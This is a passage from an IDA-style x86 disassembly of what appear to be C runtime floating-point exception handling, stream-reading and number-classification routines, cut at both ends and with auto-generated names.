		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D7F0, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDDC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D7F0, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 26603C8h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3E0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D3F0
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D3F0
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3E0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3E0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDDC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDDC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D308


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3E0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D30C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


